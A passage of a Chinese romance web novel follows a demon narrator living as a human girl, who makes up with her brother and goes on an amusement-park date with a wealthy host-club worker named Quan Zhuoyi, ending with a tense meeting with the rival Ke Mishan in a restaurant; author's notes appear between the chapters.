我眨了?眼,发现?他离我只有?几公分距离,甜腻的气息萦绕在我身边,往嘴里钻。 他没有?松手,而是盯着我看,镜子反射的光照得他的眼睛亮亮的,像是绿色玻璃珠。 半晌后?,他说:“你?不想改变一下欣赏水平吗。” “喜欢那种?,不如换个更好的,能气死他最好。”泉卓逸笑了?下,有?点挑衅地勾起嘴唇,“反正他没眼睛,拒绝了?你?。” “被拒绝的才不是我好吧!” 怎么想都不可能是我! 我愤怒地甩开他的手,一时间对栾明和?浦真天的怒气涌上心头,怒道:“我只是滑了?一跤,不小心被他的脸颊袭击。” “你?挺会胡说八道。” 泉卓逸撑着洗手台,吊儿?郎当地交叉着腿,抱着双臂看我,“管谁拒绝谁,你?现?在要务是提升审美?。” 审美?积累/。 脑子里蹦出诡异的词汇,我甩甩脑袋,驳斥道:“我的审美?毋庸置疑。” “哈?” 泉卓逸转头照镜子,欣赏着自己的脸和?打扮,故意凹角度,用下目线看我,“那你?会不知?道谁最帅?” 我:“求不自恋教程。” 他的确好看,身材消瘦,要是再瘦一点就会显得病态,身上一分赘肉都没有?,脸颊微微凹陷,有?种?服美?役到刻板的感觉,可能晚上抱着镜子睡觉,只为每天早上起来第一个亲吻自己。 但他是我会喜欢的标准类型。 修长、消瘦、黑发、皮肤白皙。 我盯着他的脖颈,那一段皮肤下埋着青紫的血管,皮肤很薄,像是轻轻用指甲就能划开的程度。 他注意到我的视线,又转回头,盯着我,绿色的眼珠有?点渗人,像是狼人的眼睛。 以前跟着大群狩猎的时候,我见到过狼人,他们非常地狡猾,骨头也很硬,就算打不赢,也要从对手身上撕下皮肉。 而且很难奴役,情绪敏感,稍有?不慎就会伤害自己。 泉卓逸打断了?我的思绪,吊儿?郎当地说:“你?说教我抽烟,不会真就那些步骤吧。” 我立马反应过来,一脸正色:“后?续进阶,还得再要点学费。” 他昂了?在头,问:“多少?” 我没想好要多少。 “嗯嗯,至少十?万吧。” 结果?泉卓逸真就低头操作手机,随便点了?几下,再抬起头时,颇为云淡风轻,“给你?转了?二十?万。” 我拿起手机,果?真看到缀着一长排零的转账。 所有?顾虑消失,我扬起笑脸,亲切地问:“想什么时候学啊?” “……下周末。” 他转过身,佯装毫不在意,咬着唇环,吐出几个字:“跟我出去玩。” 我:“那学习呢?” “顺便啊!”泉卓逸恼怒地说,又啧了?声,双手插兜,吊儿?郎当地往外走。 我摸着发热的手机,心想世界还是好人多。 转头时,我才发现?浓郁的柠檬香不知?何时靠近了?些,此时正停在不远处,像一道阴影般注视着我。 栾明正在看着我—— 作者有话说:啥时候撞个大的[眼镜]还有这个泉,咋被我写成傲骄了,说好的地雷男呢……算了,地雷男也有傲骄。 虽然不知道营养液有什么用,但是我要了!快给我(伸手)(打滚)(哭喊) 第23章 这是?第几?次遇到人了? 我在栾明的视线中?转身, 镇定地往楼下走。 既然?他不理我,我也不会理他,而且我会坚持到他先屈服,哼, 这就是?惹怒恶魔的下场。 我扁扁地回到原位, 继续玩手机, 刷短视频时心无旁骛,进入无人之境。 也不知道过去多久,耳边热闹的声响随着时间逐渐安静下来,越来越小, 直到有人来到我的身边,影子遮住我。 此时大厅只剩下几?个人,我抬头?时, 望眼?过去格外荒凉,剩下的人正在收拾残局,打扫满地的彩片,处理酒瓶和垃圾。 而栾明停在我面前, 也不说话,像一抹消瘦的鬼影,脸上没有酒意的红晕,眼?下黑眼?圈浓重, 嘴唇苍白又?干枯。 我左看?右看?, 没看?到浦真天的身影, 于是?跟在他身后往外走。 凌晨的空气是?冷的, 季节已经接近夏天的尾巴,昼夜温差拉大,手臂和腿暴露在空气中?, 能感?受到凉嗖嗖的冷意。 这个时间打车需要再走一段路。 我跟栾明沿着街道走,也没问浦真天到底去了哪,只是?沉默地走着,默默地较劲谁先开口。 像是?回到因为高利贷不得不离开家的那一天,我也是?跟在栾明身边,只是?这次,他在生气,而我在反弹生气。 就算是?凌晨,商业街也是?亮着的,远处的高楼大厦光影流动,霓虹灯彻夜长明,道路两边的灯一盏又?一盏,像蜿蜒的长河,旁边没有河,风不大,但仍然?湿润地钻入领口。 等到叫车的地方,栾明停下了,脊背挺直地立在树旁边,我在距离他不远的地方,保持着一定的距离。 等车来了,他占了左边,我占右边,别着脸看?风景。 司机哈欠连天,也没有心情和我们搭话,夜晚凌晨的路上只有少?数的车辆,她开得很快,放着舒缓的、像是?流水般的歌。 我的心情就像是?夜晚一样冰冷,绝对不会向栾明屈服的! 车的震动和歌声格外催眠,我迷迷糊糊地陷入梦境,做了个短暂的梦。 梦里还是?幼崽的栾明执着地拉着我,他小时候长得像个土豆,因为成天外面玩,弄得身上脏兮兮,我说不喜欢跟脏孩子玩,怎么也不搭理他,把他逼急了,用脏兮兮的手拉着我,哭鼻子说不要不理他。 记忆里,道歉的总是?他。 爱哭的小孩骤然?抽条,变成修长的、沉默的模样。 我讨厌变化,但又?觉得他的痛苦无比美味,像一盘香气喷喷的大餐。 在梦里,我变回恶魔,身形巨大,翅膀展开有一栋楼那么高,自由自在地在天空上飞来飞去,等饿了,就把揣在兜里的栾明拿出来,告诉他我要把他吃掉了。 他啪嗒啪嗒地掉眼?泪,自己往我的嘴里钻,躺在我的舌头?上。 我用牙齿咬碎他的四肢,喉咙吞咽,把他吞进肚子里。 骨头?在咀嚼中?融化,统统化作血液流进我的胃里里,我砸吧砸吧嘴,品尝到糖渍柠檬的酸味,在酸里尝到了微妙的甜,灵魂的饥渴得到安抚,终于安心地睡去。 等醒来时,我正趴在栾明的背上,口水流在他的衣服上。 他背着我往公寓的方向走,力度很稳,我熟悉他的气息,开始犯困,但突然?想起还在生气,于是?上半身往后仰,努力和他拉开距离。 栾明握紧我的大腿,身形不稳。 他慌忙急促地喊我:“小冬。” 黑发下的耳朵通红,大概是?因为喝了酒,脖子也是?红着的,声音有点?哑,像是?很久没有说过话。 “我们和好吧,好不好?” 我嘴硬道:“你还没有道歉。” 但身体已经趴下,我重新窝在他的颈间,在降温的凌晨汲取温度,怀念在梦中?的英武神勇。 哥哥诚恳地向我道歉。 “对不起。” 我也顺理成章原谅了他。 我用手环住他的脖子,困倦得睁不开眼?睛,“还要多久到家啊,我好困。” “五分钟。” 他牢牢地握着我的大腿,前进时步伐平稳。 我倒在他的背上,昏昏欲睡,半梦半醒间,听到他说:“……可以不要喜欢浦真天吗。” 我:“为什?么?” “就这一个要求。” “好吧。” 我闭上眼?睛,迷迷糊糊地想:喜欢是?什?么?爱又?是?什?么? 对我来说只是?食物而已。 作为恶魔,我的感?情少?得可怜,如果像人类那么丰富的话,我一定可以自己喂饱自己,因为我唯一的爱给了我。 如果能自己吃自己的话,那样不就变成永动机了吗。 我的意识不断下沉,直到陷入黑暗。 等再次醒来时,我和哥哥已经和好了。 浦真天昨晚是被其他男公关送回来的,起来时头?痛欲裂,捂着太阳穴,迷茫地站在卧室门口,而我已经开始看?电视,哥哥就坐在我旁边,给我梳头?发。 他没反应过来,如坠梦中?似的,轻声说:“……明子?” 哥哥:“饭在锅里,应该还是?热的,拿出来就能吃。” 浦真天眨巴眨巴眼?睛,捏了自己一把,才确定自己没有做梦,骤然?笑了起来,眼?睛亮了好几?度,他立刻看?向我,有些局促羞赧地摸后脖颈,手脚轻快走进厨房,肉眼?可见的开心。 等他吃完饭,再过一会就该出去坐公交了。 哥哥帮我拿了一件外套,说晚上冷的时候穿,店里经常开着空调,如果觉得冷可以去拿毯子。 我心安理得接受他的照顾,身心舒畅,感?觉重回巅峰,再次未来可期。 坐公交时,只剩两个位置,浦真天站在旁边,像堵墙似的帮我们挡人,刚好旁边就是?窗户,阳光照在我身上,又?开始犯困。 在阳光的照耀下,我又?开始犯困,随着公交的晃动,猛地撞到他的肚子上。 浦真天捂着肚子,傻笑着。 我摸着额头?,没搞懂他在笑什?么,但他今天格外开心,嘴角一直勾起,毛茸茸的眉头?在阳光的照耀下泛着金光。 他看?着我,没忍住笑出大白牙,眼?睛亮亮的。 一路上他都笑容满脸,阳光灿烂,即使正面和泉卓逸遇上,也仍然?能露出笑。 泉卓逸一脸恶寒,绕开他走路。 不再生气的哥哥从?浦真天那夺回了照顾我的工作,重新打扫我的位置,增加各种小物件,让我来工作就像回到家一样舒畅。 “要是?有车就好了。” 我看?着忙来忙去的哥哥,感?慨道:“来回好麻烦……” “不如买个房吧。”哥哥直起腰,说“还不用麻烦浦哥。” 傻乐的浦真天立马摆手,说:“不麻烦,不麻烦,但也是?太远了,市中?心的房子不好租,不知道什?么时候能换个房。” 他说着,眼?睛一亮,兴奋地问我:“小冬想要住什?么样的房子?” 我摸了摸下巴,认真地说:“我喜欢高档的,最好要几?百平的顶楼,可以俯瞰所有人。” “顶楼啊……那视野应该很好。” 浦真天也加入到我的幻想里,絮絮叨叨,说什?么也可以有阳台,在阳台上种花,书?房要装修得最好,书?架和书?桌一个都不能少?。 他说得起劲,好半晌才停下来,憨笑一声,说:“有房子真好。” 哥哥不作声,转头?看?向我。 我:“?” 总感?觉哪里怪怪的。 浦真天今天格外奇怪,就像有自然?法则一样,哥哥和浦真天只有一个能正常。 他似乎有点?兴奋,忍不住说了很多话,话题漫无边际,但他一直在说,眼?睛亮着,像是?在期待我回话,莫名让人觉得他屁股后面藏了螺旋桨尾巴。 我有一搭没一搭地应声,顺便回复手机上的消息。 泉卓逸也是?个话多的人,从?昨天晚上开始发,到现在也没停下来。 [泉卓逸(有钱)]:他还在坐在你旁边? [泉卓逸(有钱)]:真没点?眼?力,你哥脸色难看?得我都知道他心情不好,不就是?让他走的意思?吗,真是?读不懂空气 [泉卓逸(有钱)]:看?他高兴我就来气 [世?界第一恶魔大人]:你气什?么? [泉卓逸(有钱)]:见不得傻子开心 [泉卓逸(有钱)]:你还记得约定吧 [泉卓逸(有钱)]:可不要反悔 [世?界第一恶魔大人]:不是?还有几?天吗,你着什?么急 [泉卓逸(有钱)]:直觉你会鸽 [世?界第一恶魔大人]:放屁! [泉卓逸(有钱)]:你知道就好 [泉卓逸(有钱)]:(转账) [泉卓逸(有钱)]:路费 我不由抬起眉头?,诧异地盯着转账记录。他绝对是?我见过花钱最大方的一个人,几?乎称得上是?肆无忌惮,丝毫不担心钱会用光。 但我想到他赚钱那么容易,心里一下子不平衡了。 我从?他手上捞也只是?几?分之一,担心他破产,不如想想怎么多捞点?。 我抬头?时,正好对上浦真天笑弯的眼?睛,他张开嘴,似乎想说些什?么。 “小冬。”哥哥忽然?叫我的名字。 “你周末要出去吗。” “嗯。”我说,“有人约我出去玩。” 浦真天好奇地问:“谁啊?” “泉卓逸。” 浦真天愣住了,嘴角缓缓拉平,隐约有向下的趋势,下一秒,他努力维持着笑容,平静地说:“原来是?他啊……” 说完,空气忽然?凝固了,浦真天握着拳头?,听着哥哥叮嘱我出去玩要注意些什?么,过了一会,他忽然?起身,自顾自地说有事,脚步慌乱地往外走去,像只失去方向的蜜蜂。 我不解地挠挠脸颊,问:“他咋了?” “有事吧。” 哥哥收回目光,平静地说:“不用担心,等会他就会回来。”—— 作者有话说:哥觉得如果浦和小冬在一起的话,每天都能看见,而且浦自称是哥,为什么他可以,自己不可以,遂恨起来了。 他对其他男的没什么看法,反正小冬是要回家的,下次破防是在史诗级富爷登场 浦以为他和小冬和好是不介意他和小冬的意思,结果哥哥还是不爽他,遂又缩了回去 哎呀,男人那点心机……[眼镜] 第24章 在抵达周末的前几天里?, 我成功掌握了整个店的生态。 男公关分为四个等级,只有十位是A级,其余按照销量排名改变,每个月会有晋级冲刺, 不同的等级, 销量分配的比例不同, 越往上分得越多,而等级较低的,只能依靠做别的事来提高工资。 我问宗朔这是从哪里?学的招数,他说是看?修仙小说, 自己领悟出来的。 我觉得他颇有资本家风范,自己稳坐第一,就喜欢看?底层男公关竞争, 偏偏他们还要舔他。 如果哪天他不是第一,那些人又会是什?么姿态呢? 我有点想看?天下大乱,但宗朔让我不如想想每天为店里?做点什?么。 我思来想去,让他在办公室多安一台电脑, 我们可?以?联机打游戏,还不用去网吧。 然后忽然想起,在网吧见到他的时候,都是在下午, 如果他晚上才上班, 那怎么和我打游戏的呢? 他只说大人的事, 我别管。 我呵呵冷笑, 就知?道他其实早就醒了,只不过?不想来店里?忙活,假装睡到下午, 睡眠和猪一样。 但宗朔还是搞来一台新电脑,我霸占了他的办公桌,他自己在旁边支了个小的,偶尔我们会一起打游戏。 为什?么说是偶尔,因为他的行踪诡异,除非我叫他,他是不会提前来的。 短短快一周时间,我已?经快要将要取代宗朔掌权,风光无比,走?哪里?都有人点头哈腰。 生活回归日常,浦真?天也恢复正?常,像是以?前一样和我保持着不近不远的距离,尽量避免视线接触。 我能感觉他总是偷瞟我,但只要有哥哥在,他就会转向别处。 明?明?年纪比我们都大,却总是在顾虑别的事。 但浦真?天对泉卓逸还是那样讨厌,唯一能硬气的对象就是他,每次看?到对方?,便能大方?地露出厌烦的情绪,泉卓逸同样如此,水火不容,两看?相厌。 距离周末的时间越近,泉卓逸给我发消息的频次越高,几乎每天都要提醒我,记得答应了他什?么,时不时甩来几句装逼语录。 虽然我品行败坏,但我对于钱的守时毋庸置疑。 到了周日,男公关分批放假,哥哥和浦真?天也休了假,我换上休闲的衣服,随便乱套的,在出门前,哥哥再次叮嘱我注意时间,如果有事就打电话。 此时,浦真?天坐着沙发上,直到我离开?,他也没转过?头。 我乘坐出租车前往泉卓逸发给位置,等到了才发现是个游乐园,就在商业街附近,繁华热闹。 泉卓逸穿着打扮依旧潮得出水的,背心阔腿裤,腰部绑着一条格子衬衫,微弓着背,面似不爽地玩手机。 周围经过?的人纷纷回头,大抵是没见过?这种?人出现在游乐园,不是在诧异就是在疑惑。 有人不畏惧潮人光环,上前和他搭话,举着手机玩联系方?式,他就掏出名片回复,看?着对方?表情改变,恶趣味地露出笑。 我来到他身边时,他正?在念台词,就是那一长串、曾经念给我的朋友们的台词。 “如果有表彰大会,我一定?给你投最敬业的男公关。” 泉卓逸吓得抖了一下,转头发现是我,有些恼怒地说:“你怎么总是悄无声息出现在我旁边,就不能正?常地过?来吗。” “你的警惕性太?差了,在野外很容易死掉。” “……我不需要这种?训练。” “好吧,其实是因为我想看?你的表情。” 我坦荡地承认了,因为觉得他慌张的表情很好玩,所以?故意悄悄到旁边吓他一跳。 “我就知?道。” 泉卓逸哼了声,恢复成拽了吧唧的模样,双手插兜,昂了下头,“走?吧,带你玩。” 但他的洒脱维持不到一分钟。 正?值周末,公园里?人潮拥挤,所有熊孩子都吻上来了,又跑又跳,尖叫着从我们身边跑来,熊孩子的父母在后面追,随机撞翻几个路人。 加上游乐设施的启动声、商贩的叫卖声,简直比天堂还要吵闹。 泉卓逸也不适应吵杂的环境,脸色越来越难看?,周围自动形成真?空圈,路人生怕他暴起打人。 更像麦景了。我撇眼他,正?好被他抓住,他还拧着眉,但忍不住得意,原本想擦汗的手愣在半空,硬是塞回兜里?。 我则是开?始比较,虽然都是欠揍的类型,但麦景是没有做任何表情,就已?经让人觉得害怕他动手。 泉卓逸更像是被惹了才会出手打人的类型,他的手指上全是戒指,打人肯定?很疼。 不过?介于他上次和浦真天打架的时候还把自己划伤的行为,战斗力不好评价。 挤了半天,我们才走?到第一个游乐设施面前,海盗船上坐着的小孩惊声大叫,排队的绕了至少三圈。 我觉得新奇,站在下面看?了好一会,转头看?去,泉卓逸不知?何时已?经被挤到天外,幸亏个子高,不然早就被淹没了。 我绕过在地上吱哇乱叫的熊孩子,跨越人潮来到他面前,招招手示意他俯身,等他凑近在他耳边问:“你是不是在哪里?看?了教程,说什?么到公园约会感情会进展很快?” “你怎么——你肯定看了我的手机。” 他疑神疑鬼,恼怒地摸着头:“该死的教程,简直就是把我当狗耍。” 我:“你要是聪明?点,就知?道周末游乐园会有很多人。” 周末的菜市场人都会有很多。 “我怎么知?道,我以?前去的时候一个人都没有。” 泉卓逸皱着眉,不经意抱怨道:“早知?道就联系清场了。” 我倒吸一口凉气,怀疑自己的耳朵。 真?有人会在现实中说出清场两个字诶,也太?装逼了吧! 我默默记下,决定?下次也去装一把。 他才意识到自己说了什?么,胡乱地狡辩:“我只是……呃,以?前没遇到这么多人,刚才是我乱说的,怎么可?能清场呢,又不是私人游乐园……” 他越说越怪,干脆闭上嘴,闷头往前走?。 公园里?道路狭窄,人流却很庞大,周身的空间不断减小,我和他前后走?着,也无法避免被人撞上。 逼仄的人群里?,呼吸逐渐温热浑浊,在灿烂的下午阳光下,就像是快要融化的冰淇淋,不停地流水,衣服贴身,身上黏糊糊的。 泉卓逸的脖子后面浮现出汗珠,他强忍着不适,眉头扬起,转过?小半张脸,手臂往后,佯装不在意地伸出手:“牵着我,别走?丢了。” 说完便转回头,自顾自地往前。 我想了想,把旁边熊孩子的手塞进他的手里?。 泉卓逸没有察觉到,继续往前走?,不过?脚步轻快不少,似乎很得意。 熊孩子笑得脸颊鼓起,朝我挤眉弄眼,用手指划拉他的手心,不安分地动来动去。 泉卓逸捏了下握着的手,拽拽地说:“别乱动,很痒,再往前面人就少了。” 等人流变少后,我走?到他的旁边,叹气道:“人也太?多了,早就说不该周末出来。” “你什?么时候早说了?啧,等会我带你去吃大餐,别闹。” 他嗔怒地看?着我,眉眼飞扬,嘴角带笑。 我在他的注视下,抬起手摸了摸下巴,故作可?惜地说:“我什?么时候闹了?” 泉卓逸的视线落在我的手上,眉头逐渐皱紧,低头看?向握着的手,后面的熊孩子朝他咧开?嘴,嘻嘻地笑。 他触电似地甩开?手,忍不住叫了一声。 熊孩子立马做了个鬼脸,大叫着跑开?。 泉卓逸转头,无语地看?着我,嘴角抽了抽,“你到底想干嘛。” “我还以?为你会发现。” 小孩子的手那么小,怎么会察觉不出来,肯定?是他太?笨了。 泉卓逸恼怒地瞪着我,忽然想起自己握过?熊孩子的手,立马要去洗手,说什?么小孩子特别喜欢舔手,他要被口水给污染了。 我跟来花园旁边的洗手台,看?着他脱戒指、洗手、又重新戴上。 “太?糟糕了。”他的额头滴着汗,脸颊泛红,郁闷地说:“我从来没有遇到这么多人,呼吸好难受。” 呼吸难受是吧,还可?以?再难受点。 “既然这样,我们来抽烟吧。” 我摊开?手:“把烟给我。” 泉卓逸眉头压得很低,气得磨了磨牙,但还是老实地将兜里?的烟盒拿出,狐疑地看?着我,说:“你不会又搞什?么吧?” “你看?着呢,我能干什?么?” 我纯良地说,和他走?到吸烟室里?,里?面蹲着几个人,抽气装置咕噜噜的工作着,但仍然难以?驱散混杂的烟味。 泉卓逸皱了下鼻子,十分不适应。 “首先呢,先点燃烟。” 我打开?打火机,点燃烟头,放在嘴里?轻轻吸了口,然后把烟全部吹到他的脸上,看?着他咳嗽停不下来。 “咳咳咳……” 泉卓逸眼角带泪,夺过?我手里?的烟,“别对着我吹。” “第二步就是吸烟啦,你总要适应的嘛。” 我督促道:“你快试试。” 他犹豫地看?着手里?的烟,最后还是将它放在嘴里?,咬住,但不知?道怎么吐气,全部吸进肺里?,又惊天动地咳嗽不停。 泉卓逸咳得弯下腰,脊背骨突出,蜿蜒到腰带下,他的皮肤很白,脸颊和嘴唇红得惊人。 他缓了会,撑着膝盖,咬牙切齿地看?向我,“等会我要是死了,做鬼也不会放过?你。” “哎呀,吸烟就是这样那样……然后就会了。” “谁教你的。” 我:“宗朔啊。 其实压根不用教,抽烟喝酒我样样都会,从入门到精通丝滑无比。 他垂着眸,嘴唇抿紧,手指夹着烟,又吸了一口,青涩地往外吐烟。 泉卓逸买的烟很高级,不会有臭味,像是在柯觅山那尝过?的,和宗朔那味道强烈的不一样,更像是水果、或者花那样的味道。 吐出烟雾后,轻飘飘的感觉袭击大脑,轻松愉悦。 他断断续续地抽,咳嗽得眼泪流出,脸颊飞红,最后勉强抽完一整根烟,故作轻松地说:“也就那样,咳咳……” 我问:“你为什?么要抽烟?” 泉卓逸撇了我一眼,“看?网上说女生会喜欢。” “客人应该是更喜欢不抽烟的吧。” 根据我的观察,没人喜欢在喝酒的时候旁边有人抽烟,抽烟的人大多数是令人讨厌的,除了长得好看?的、有钱的人。 我衷心道:“我看?一楼也没人抽烟。” “……我自己想呗。” 他犹豫片刻,看?着街道上的行人们,忽而问道:“你不喜欢吗。” “什?么?” “抽烟的男人。” 我若有所思,说:“我喜欢钱。” 他啧了一声,顶下腮帮,拿起手机划拉。 叮咚。我看?向手机屏幕,赫然是一场串的转账。 外面的时候,泉卓逸没了那种?游刃有余的拉客技术,行为仓促,慌乱又总是出糗,他看?着我,有些得意地勾起唇角。 “够不够让你喜欢我?”—— 作者有话说:此男越写越笨,大概就是富人家的傻孩子吧……唯一的优点是爱服美役,性格0.4卑0.6亢 我用一个词来形容他和小冬的cp:国潮情侣 第25章 我喜不自胜, 当即登陆游戏冲了几个648,拉着泉卓逸和我一起抽卡,他郁闷地看着,说:“这玩意还有人玩?” “我可是榜一。” 他哼了声, 评价道:“你一个人养活整个工作室。” “这种说法?好恶心?。”我感到恶寒, 像是身上有条吸血虫似的, 眉头皱在一起,想?象到那?种画面,更加不舒服了。 一想?到我要养什么东西,游戏立马不香了。 脑袋里蹦出个主意, 我兴致勃勃地说:“能不能发明?一款养我的游戏,别人给我投钱钱,让我成?为榜一。” “那?谁和你竞争?” 竞争不就意味着分钱吗。 我摸摸下巴, 说:“那?就出无数个我吧,反正最?后赢的只会是我。” “贪心?鬼。”泉卓逸睨了我一眼,双手插在兜里,语气贱贱的, “世界上哪有那?么便宜的事?给你。” “NoNoNo。” 我竖起食指左右摆动,老神在在地说:“你这就是不懂了。” 泉卓逸挑起一侧眉毛,想?看我怎么编。 “只有先相?信,才能让这种事?发生。” 我认真地说:“就像我每天都在想?有人给我钱, 就会有人给我钱啊, 相?信什么, 就能达成?什么, 吸引力法?则你知道吗?我每天想?钱,钱就会被?我吸引过来。” “吸引力法?则……哪有这种东西。” 他说着,又没?忍住笑了起来, 眉眼弯弯,比不笑的时候柔和几百倍,像是换了个人,但他更喜欢装酷。 人潮拥挤,太阳灿烂,更别提泉卓逸还爱叠穿,裤子再套了衬衫,即使?上半身无袖体恤,也大汗淋漓,白色布料紧贴着身体,露出薄薄的肌肉线条。 等我们从吸烟室出来,他决定按照机会去坐一次摩天轮。 我陪着他坐进去,然后发现这家伙竟然恐高,等到最?高点,他已经面色苍白,不敢往下看,原本向我靠近的动作瞬间?僵硬,哆哆嗦嗦缩在角落里。 我撇了眼窗外,假装好心?地安慰道:“外面也没?什么不一样啊,已经要到地面了。” 泉卓逸信以为真,睁眼被?窗外吓了一跳。 “别乱说!” 他心?有余悸地摸着胸膛,脸色苍白。 “这有什么好怕的。” 等重新回到地面,他才缓了过来,这次的游乐园之?旅,可以称得上他的受难日,我饶有兴趣地观察他难看的表情,看出来他有点不甘心?,嘴角撇着,和熊孩子没?拿到玩具表情一样。 在沿着路往商业街走时,一道灵光击中我的大脑。 我忽然想?到经典剧情,用左手锤了下右手心?,恍然大悟道:“你不会是信了偶像剧的剧情,觉得在摩天轮上能增加好感度吧?” “……啧,是你说的要先相?信。” 他嘟囔着抱怨:“完全忘记恐高这件事?,还以为这么多年也该好了。” “那?你岂不是只能睡一楼。” “恐高不是连睡觉也不行?啊。”泉卓逸扯着嘴角,努力挽回自己的形象,辩解道:“我只是不能看窗外。” 我可惜地说:“那?你失去观察地面的乐趣,看着下面的人走来走去,很好玩。” 他停下脚步挡在我面前,危险地虚眯着眼睛,压低声音说:“今天你很开?心?啊,恶趣味捉弄我一下午,也总要有点表示吧。” 我立马往后退,警惕地说:“我没?钱。” “我才不是你!” 泉卓逸努努嘴,双手插兜,佯装松弛望着远处,随口问?道:“你觉得我怎么样?” “有钱。” “没?有其他的?” “挺好玩的。”我想?了想?,努力寻找他的优点,“长得帅,还很有意思。” 能骗好几次,每次还能上当。 “你还是有点眼光。” 泉卓逸撇眼看我,嘴角提起,轻快地说:“你的审美也提高了。” 我盯着他的嘴角,猝不及防开?口问?:“你喜欢我?” 他愣了下,有些不适地撇了下嘴,捂着下半张脸,眼睛看来看去,就是不看我,全然没?有镇定的模样。 我又凑近了一步,仔细看着他,“你怎么不说话。” “我只是在思考。”泉卓逸为难地别过脸,有些烦躁地抓挠头发,“你不觉得太快了,我们才认识多久,怎么就能谈得上喜欢了。” “可是你一直在做让我误会的事?。” 我再次恍然大悟,说:“你是在用揽客手段吗?因为上次没?揽客成?功。” 他下意识反驳:“不……上次我成?功了,你来了[极乐世界],我没?有输。” 他总在争点什么,我觉得他或许是在跟浦真天较劲,但他身上弥散的气不作假,甚至越来越浓烈,甜到腻人。 我的魅力还是太大。 我有点得意地想?。 泉卓逸察觉到这一点,顶了下腮帮,又嘀嘀咕咕起来。 “你想?多了,我才不是那?种人,我可是男公关,怎么会让你轻易得手,我告诉你,你不要太过分了。” 我沉浸在自己的魅力,找寻着能反光的物体,顺便欣赏一下自己的美貌,完全没?管他在讲什么。 泉卓逸执意地凑在我面前,盯着我的眼睛,非要我承认他的话,我发现他的眼睛很亮,于是也盯着他,通过他眼睛的倒影欣赏自己。 刚对视在一起,他还很坚·挺,但渐渐地,他的眼神开?始瑟缩,但后面直接别开?脸,露出通红的耳朵。 如果?不是见过他在[极乐世界]时的表现,我可能会以为他是真害羞。 我的视线在他的侧脸上游离,一寸寸地看他,看得不得不抬起手捂住自己的半张脸,但又放下,假装不在乎地说:“怎么看出来了吗,我比浦真天帅。” “……嗯,确实符合我的审美。” 我想?着,有些跃跃欲试地想?将手放在他的脖子上,试一下他的皮肤是否真的薄到轻轻划拉就会流血的程度。 他很白,血液在皮肤下流动着,青紫的血管交错,像是某种植物的藤蔓。 泉卓逸停着不动,低下头看我,紧紧地盯着我的眼睛,露出一点侵略性,绿色眼睛明?亮,闪烁着近乎咄咄逼人的光。 他的害羞时有时无,像雾一样淡、像本人一样反复无常,想?一出是一出。 我刚想?把手放在他的脖子上,忽然视线的角落里扫到一抹熟悉的身影。 那?人走进一家餐厅。 我看向餐厅名,全是鸟文,根本读不懂。 泉卓逸停在原地,见我许久没?动,也转头看去,他把名字念了出来,听着像是在念咒语。 “西餐厅,味道还不错。你想?去吃?” 我问?:“高级吗?” 他淡淡道:“一般吧。” 我们路过不少餐厅,他都说不行?,不是说预制菜,就是说不吃压根没?听过店名的。 “那?就这家吧。” 我拉着他的手,赶紧往里面迈,生怕他会反悔,门口的服务员立马应了上来,问?我们有没?有预约。 泉卓逸双手插兜,随意抬起下巴,“没?有,两个人,找个靠窗的位置。” “好的,两位里面请。” 服务员伸手向里,笑容盈盈地招呼我们往里走。 我们跟着他进入内部,餐厅内部像是在短剧里看到过的画面,桌布雪白,装修富丽堂皇,墙上挂着壁画,地面一丝不苟,干净整洁到能反光看到我的脸。 服务员领着我们走到窗边,等我们落座后,将菜单摆在桌上。 我定睛一看,每个价格都很感人。 不过还好不是我付钱,我只看图片,根据价格随手点了几个最?贵的。 泉卓逸没?什么反应,拿着菜单说鸟文,完事?把菜点丢给服务员,动作行?云流水,看得出来做过很多次。 服务员点头应声,拿着菜单退到旁边。 餐厅所有人脊背挺直,衣着整洁,空气中淡淡的香味,温度舒适,唯一的问?题是椅背也是挺直的,怎么靠都不舒服。 我的视线越过正在说话的泉卓逸,看向他身后不远处的圆桌,不同于二人桌,那?边的桌子更大,椅子也要更加豪华点,桌上摆放着提前备好的菜品,甚至还点了蜡烛。 眼熟的人正坐在座位上,低头看着手机,鸦黑的发丝垂在额前,遮挡不住优越的五官,比起泉卓逸浓烈的混血儿长相?,他的五官更偏东方人,嘴唇薄淡。 泉卓逸的嘴唇厚一点,饱满一点。 察觉到我的视线,泉卓逸咬了下唇环,挑眉问?:“你在看哪里。” “我还以为混血儿的嘴唇都会像你一样。” “你还知道哪个混血?” 他皱着眉,顺着我的视线看去,蓦地顿在原地,像是看到洪水猛兽般飞快转回头,抿着嘴唇,表情略显慌张,刚起身想?走,但在看到我的时候,又愣愣地坐回原地。 “……你认识他?”泉卓逸脸色难看,艰难地说。 “对啊。” 我说:“他正在向我们靠近。” 在泉卓逸察觉我的视线时,柯觅山也察觉到了。 他所在位置来了几个年轻人,正嬉笑着看向我们,看好戏似地撑着下巴。 不知何时,柯觅山随意放下餐巾布,嘴角噙着一抹笑意,看似温和友善地向我们靠近。 泉卓逸僵硬在原地,一动不动。 柯觅山先是向我打了个招呼,随着距离拉近,视线移到我面前的泉卓逸身上。 在看到他的正脸,像是才知道似的,语气惊讶地说:“好久不见,原来你没?有离开?A城啊。”—— 作者有话说:开始互表,我宣布学哥赢了 第26章 “……” 泉卓逸没说话, 视线紧盯着盘子,一动不动地坐在?原地,彻底无视了他的搭话。 柯觅山也不恼,转头对?我说:“好久不见, 学妹最近在?做什么呢, 我这几周很忙, 所以没有回你的消息,你没有生气吧?” 他的眼尾上扬,眼睛像是月亮一样?弯着,游刃有余地说:“毕竟网络那么差, 说不定现在?才收到我的消息。” 我面不改色点了点头,拿出商业会谈的镇定,淡淡道:“我最近在?工作了, 也是很忙的。” 忙着当老板,忙着当有钱人! “工作?” 他来了兴趣,唇角的弧度更深,温和地问:“是什么样?的工作呢?” “是——” 我还未说出口, 泉卓逸猛然打?断我,脸色难看,拳头握得?很紧,“你听不出来他在?嘲讽你吗?” 说完, 他厌烦地朝柯觅山骂道:“要滚赶紧滚, 这里没人想听你讲话。” “泉二还是和以前一样?啊。” 柯觅山笑着, 也不恼, 慢条斯理?地说:“没事,是我冒昧了,不过太久没见, 我们也想跟你叙叙旧呢。” 他转头,我再次看到那一桌年?轻人,里面有个女生向我挥手,笑容明媚。 “你们点了什么啊。” 我打?量着满桌的盘子,色泽诱人,好奇地问:“看着好像很多的样?子。” “我们五个人,自然要比你们多些。” “你们来这附近玩吗。”柯觅山还没有要走的动作,自然地站在?旁边,视线扫过桌面,露出了然的神色,轻轻勾了下唇。 “我们去游乐园玩了。” 